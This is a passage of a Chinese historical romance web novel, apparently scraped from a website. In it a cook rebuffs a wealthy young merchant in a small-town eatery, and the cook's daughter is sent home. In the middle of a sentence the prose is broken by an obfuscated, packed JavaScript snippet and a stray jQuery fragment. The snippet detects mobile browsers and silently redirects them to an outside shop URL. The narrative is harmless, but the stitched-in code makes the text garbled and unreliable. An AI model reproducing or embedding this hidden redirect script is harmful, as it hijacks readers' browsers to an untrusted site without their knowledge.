只见两位衣着华丽,相貌不俗的青年郎君正端坐于堂上,其中一位拿着折扇的狭长眼眸的郎君,更是贵气逼人,俊美不凡。
可在苏晟眼里,这便是斯文败类的典范。
于是,他扬了扬下巴,语气不甚客气道:“二位郎君,来寻小女何事?”
见到食肆的庖厨气势汹汹过来,其中一位郎君客气地拱了拱手道:“见过庖厨大师傅,在下明路,这是我家阿郎,姓云。我二人从太原府来,听闻曹记食肆菜肴美味,特来一尝。”
原来,这点菜的二人,正是昨日留在桃源镇未曾启程的明路主仆二人。
曹掌柜听了明路自报家门,忽地心头一动。
这姓云的本就不多,还来自于太原府,难道是太原府第一商云家?
云家以米粮生意起步,在太原府经营近百年,生意遍布各行各业,任凭朝代更迭,依旧屹立不倒。经商之人,或多或少,都是与那云家有些生意往来的。
曹掌柜来桃源镇开食肆前,曾在太原府做过工,自然是听过云家的名号。听闻云家的少东家云墨,便是生了一双桃花眼,俊美无俦,可生意经上却不输老家主云季。
虽则他不大信云墨会亲自来这穷乡僻壤,但既是与云家有关,曹掌柜自是更要殷勤热络些的。毕竟,说不准哪一日云家便要进军他食肆的行当,届时自己这小铺子,可能也是砧板上的肉了。
于是,他一把将黑脸的苏晟挤开,将菜单子奉上,笑道:“二位郎君请点菜吧!”
明路正欲与他客套,却见他家主子云郎君轻摇着折扇,笑涡里似是斟满春醪,一双桃花眼瞟向了那个从曹掌柜身后探出头来的小姑娘。
“有劳小娘子照方才雅间那位郎君的菜单,原样置办一席。”
苏禾脑中的算盘珠子已是立时噼啪作响了,谁知,先映入眼帘的,却是阿耶如山一般的脊背——老父亲已先一步横在了云郎君和苏禾之间。
“小女并非食肆中的伙计,方才那一桌菜肴,不过是我一时忙不过来,小女代劳而已。现下,食肆内食材有限,恕难再做上一桌,还请二位郎君去别的食肆罢!”
说罢,苏晟便冷着一张脸,拉过女儿便往后厨走。
那副模样,当真有神挡杀神,佛挡杀佛的气势。若不是曹掌柜甩了几个眼刀给苏晟,苏晟怕是当场便要同那两个不知天高地厚的小子拼命了。
苏禾临去前瞥了一眼那桃花眼郎君,见他笑眼媚人,不由蹙眉。第一遭见面便对着女郎家笑眼盈盈,倒像是秦楼楚馆里惯会卖弄风情的浮浪子。
食肆大堂上,曹掌柜搓着手,拿着菜单对明路主仆二人赔笑道歉。
明路见这老庖厨竟然对阿郎如此无礼,正要申斥几句,却被听阿郎对着苏晟背影笑道:“也罢,既庖厨师傅今日有所不便,某改日再来便是。”
说罢,他便起身带着明路走出了曹记食肆。只是,从头到尾竟是正眼都未曾瞧上曹掌柜一眼。
气结的曹掌柜只得尴尬地站在原处。
那小伙计阿柒看着云郎君二人的背影,心中满是对苏禾的钦佩。这苏家的三娘,年纪轻轻的,本事倒是不小。也不知这些个俊俏不凡的郎君,到底是来看人的,还是来吃饭的?
“看什么看!还不快去干活!”
在自己的地盘被如此轻视的曹掌柜,将一肚子怒火,连同那个未曾送出去的菜单子,全数撒在了阿柒身上。
而那没有吃到河螺宴的云郎君,却并未急着去其他食肆,而是在街上闲庭信步地走着。
明路越想越气,追上去说道:“阿郎,不若明日便遣人收了这食肆!看那老庖厨可还敢这般放肆!”
云郎君斜睨了他一眼,笑道:“明路,若按你这章程,见着不顺眼的铺面便强取豪夺,只怕云家百年基业,不够你三五年败的。”
“可……”明路搔着后颈嘟囔,“咱们云家这两三年,不是都买下半个太原府了吗?”
原来这云郎君正是太原云氏少主云墨。自老家主云季抱恙,族务渐交其执掌。青年郎君初露锋芒,已接连收并纸坊、书肆、药行数十家,今岁还有拓展了学堂。
明路想着,这食肆行当,迟早不也要纳入云家麾下么?
云墨看他模样,便知他这榆木脑袋又想不通了,提起扇柄在他额角轻敲一下:“再想想。”
这一敲之下,明路忽然头脑清明,心道,差点忘了,现下官府对南风馆管制松懈了,阿郎自是要先收并小倌馆才是,哪里轮得到食肆。
他嘴角刚扯出个暧昧的弧度,又慌忙抿紧——这话可万万说不得。
云墨见他这般情状,便知这小厮肚里又酿出什么荒唐故事,只得叹道:"朽木不可雕。且说正事,雅间宴席,果真是顾四郎所订?"
明路方才想起差点忘了正事,一五一十回道:“仆今晨打听时,食肆里的伙计的确是说,那小姑娘说是要宴请一位将军吃河螺。可那将军姓什么,伙计却并不知晓。”
说罢,他猛地一拍脑门,恍然大悟道:“阿郎英明!今日既是裴晏淮来赴这河螺宴,那背后订席的定然是顾小将军无疑了。只是这等生于污泥之物,当真能入得了口?”
原来这日午间,明路本是奉命去浮白楼给主子预订雅室,行至半路,却远远瞧见裴晏淮径直往曹记食肆去了。他心下一动便留了神。谁知这一留意,倒叫他瞥见了另一桩蹊跷——安陵县那位尚未赴任的县令夫人安氏,竟也远远缀在后头,不知是何缘故。
明路愈发好奇,悄悄寻了食肆伙计阿柒打探这桌宴席的来龙去脉,这才匆匆赶回禀告自家主子。不承想,刚开了个头,便被那倔脾气的老庖厨抢白了一顿。
可云墨却并未着恼,只是微微眯起那双含情的桃花眼,望着裴晏淮离去的方向若有所思:“顾长君此行,恐怕绝非回乡探亲这般简单,多半与西南驻军脱不了干系。”他顿了顿,收回目光,“倒是这安氏,为何也会在此处逗留……”
明路见阿郎并不动怒,忙顺着话头拍马道:“到底还是阿郎慧眼。昨日仆瞧着那裴晏淮,除却生得俊俏,再瞧不出特别。谁知郎君一眼便看出他与顾小将军有旧!”
原本正在垂眸沉吟的云墨闻言,桃花眼倏地一抬,甩了一个眼刀过去:“明路,这几载你随我进京几次?”
明路一怔,依言数道:“……去岁年初,十一次,十二次……”
“蠢材!”云墨哭笑不得,掌中扇骨猛地挥将而下,却又在他额前停住,他轻叹口气道,“下次再去,记得把脑子带上!”
说罢,云墨便转身疾步走了。
“仆带了啊……”明路委屈巴巴地看着阿郎身影,不知他为何说自己没脑子。
可见阿郎渐渐走远了,他又赶忙追了上去:“阿郎,咱们去哪?”
此刻,云墨已是换回了平日那副风流含笑的模样,只是语气却冷了下来:“去墨海书塾,‘拜访’一下王夫子。”
这“拜访”二字咬的极重,话音中也尽是清冷,听得明路脊背一寒。
苏禾回了后厨,看着自家阿耶铁青着脸也回来了,只道是他还在生王仁的气,便软声劝了几句。
谁知,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761204|209187||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苏晟却板着脸叫她赶紧回村去。
忙活了那么久,连午饭都没吃到,还要走那么远的山路回村,苏禾一脸的不情愿。再者,万一裴郎君在打烊前来还钱怎么办?
她眨巴着眼,可怜巴巴地问苏晟:“阿耶,我还没吃饭,为何这般早便叫女儿回去?”
苏晟不为所动,只在厨房里四下翻找,也不知在寻什么。
“阿耶,你在找什么?”苏禾跟在苏晟身后问。
“你来时背的箩筐放在哪处?”老父亲没好气地问着。
苏禾立在那想了片刻,笑道:“方才给雅室的客人拿去了。”
苏晟一听更是气愤,一副难以置信的表情盯着苏禾看了半晌,重重叹了口气。
苏禾没想到阿耶竟如此在意一只箩筐,连忙接话道:“那客人晚些便会还回来的,最迟明日。”
一听女儿说那拱白菜的还要再来,苏晟黑着脸撵女儿回家:“赶紧回村,帮你大姊绣喜帕去!”
说罢,他顿了顿,又严肃警告道:“莫要再与那些不三不四的郎君说话!”
阿耶极少这般严厉对她说话,苏禾有些莫名,只得默默点头应下,心中多少有些委屈。
苏晟看着小女儿眼圈微红,心念微动。
女儿早晚要嫁人的,若是来日被夫家欺负得这般哭,自己当真是要同他们拼命的。这般想来,还是隐志一家子最为可靠。不如今晚便与阿禾挑明,早些给他二人定下亲来才是。
心头算盘定了,苏晟立时松快了许多,心中又因方才的严厉对女儿生出些许歉疚。他拿出几个铜板,语调温和了下来:“阿禾,你去胡记买几个病带回家去吧。”
“好!”
听见“胡记”,苏禾立时又旋起两个小酒窝。
“快走吧,走吧!”
一旁憋了半天的曹掌柜,吹胡子瞪眼,终是按捺不住开始撵人。
苏禾心里的小算盘正拨得“噼啪”响,心绪早已好了大半,接过阿耶递来的银钱,欢欢喜喜出了门。
曹掌柜看着她的背影,只觉一口气儿窝在胸口,进出皆感不甚顺畅。
一个山野丫头,在京城贵人面前班门弄斧,说什么“依律立质”。他便是未曾读过《关市令》,也知那可是官府借贷或大宗买卖才用的规矩,况且,那也是要至少借贷二十日以上,方才需要质押物件。这等小食肆,欠上一两顿饭钱,又有什么要紧?
可是,她这驴唇不对马嘴地乱用一气,那贵人竟然也不生气,还将自己的玉佩交与她。而王夫子赊了那么多酒帐,也从未押过一根头发丝在这里,自己到底哪处不如那丫头?
曹掌柜以拳锤胸,两条八字秃眉气得拧成一团。一旁忙着上菜的伙计瞧见了,撇了撇嘴,叹道,真是佳人一笑酒千缸,丑若无盐羹也凉。
苏禾出了食肆,一边走着,一边思忖着,方才阿耶所说的,“不三不四的郎君”到底是哪个?
思来想去,苏禾认定阿耶定然是在说云墨。他那一双桃花眼,顾盼自带三分笑意,看着的确不甚正经。
至于裴郎君嘛,虽则他吃饭忘带了银钱的确有些可恶,可他毕竟是郦夫子的得意门生,又在书塾代课,又是那样一个相貌气度,怎样也算不上不三不四吧?
所以,阿耶说的不错,往后再遇那桃花眼的郎君,定要保持些距离才是。
苏禾心中认定阿耶甚是英明,嘴上却未落下成,嘶嘶哈哈地咬了一口滚烫的胡饼。
突然,一个黑影朝她脚下滚了过来,吓得她手上一抖,胡饼便脱了手,骨碌碌滚了几个滚儿。